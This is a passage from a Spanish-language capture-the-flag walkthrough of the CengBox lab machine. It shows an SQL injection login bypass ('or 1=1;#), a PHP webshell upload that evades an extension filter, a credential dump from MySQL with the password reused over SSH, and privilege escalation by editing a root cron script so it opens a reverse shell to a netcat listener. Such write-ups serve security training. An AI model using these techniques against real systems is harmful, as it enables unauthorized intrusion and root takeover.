Vemos que hay 2 directorios que nos llaman la atencion:
/masteradmin y /uploads.
Al entrar en masteradmin, nos aparece Forbidden, asi que exploramos
un poco mas este directorio.
Accedemos a http://192.168.1.66/masteradmin/login.php
Exploitation
Se trata de un SQL Injection.
'or 1=1;#
'or 1=1;#
Una vez dentro, vemos que podemos hacer upload.
Al intentar subir nuestra webshell .php, obtenemos una respuesta de que
escojamos un fichero .ceng.
Asi que preparamos nuestra webshell y la renombramos
terminando en .ceng:
Nos conectamos al mysql con las credenciales obtenidas.
www-data@cengbox:/$ mysql -u root -p
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| cengbox |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> use cengbox;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------+
| Tables_in_cengbox |
+-------------------+
| admin |
+-------------------+
1 row in set (0.00 sec)
mysql> select * from admin;
+----+-------------+---------------+
| id | username | password |
+----+-------------+---------------+
| 1 | masteradmin | C3ng0v3R00T1! |
+----+-------------+---------------+
1 row in set (0.00 sec)
Probamos esa password, usando como usuario cengover.
user.txt
sml@Cassandra:~$ ssh cengover@192.168.1.66
cengover@192.168.1.66's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-177-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
78 packages can be updated.
0 updates are security updates.
Last login: Wed Apr 29 18:42:51 2020 from 192.168.0.14
cengover@cengbox:~$ ls
user.txt
cengover@cengbox:~$ cat user.txt
8f7f6471e2e869f029a75c5de601d5e0
Encontramos este script que por el contenido, entendemos
que hay una tarea que lo ejecuta periodicamente y que
el propietario es root.
Lo editamos y agregamos lo siguiente para conseguir
una reverse shell de root la proxima vez que se ejecute.
sml@Cassandra:/var/www/html$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.66] 37870
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
root.txt
# cd /root
# ls
note.txt root.txt warning.txt
# cat root.txt
/ ____| ____| | _ \
| | | |__ _ __ __ _| |_) | _____ __
| | | __| | '_ \ / _` | _ < / _ \ \/ /
| |____| |____| | | | (_| | |_) | (_) > <
\_____|______|_| |_|\__, |____/ \___/_/\_\
__/ |
|___/
Congrats. Hope you enjoyed it and you can contact me on Twitter @arslanblcn_
a51e522b22a439b8e1b22d84f71cf0f2
End
Y con esto ya tendriamos el flag del "user" y el flag de "root".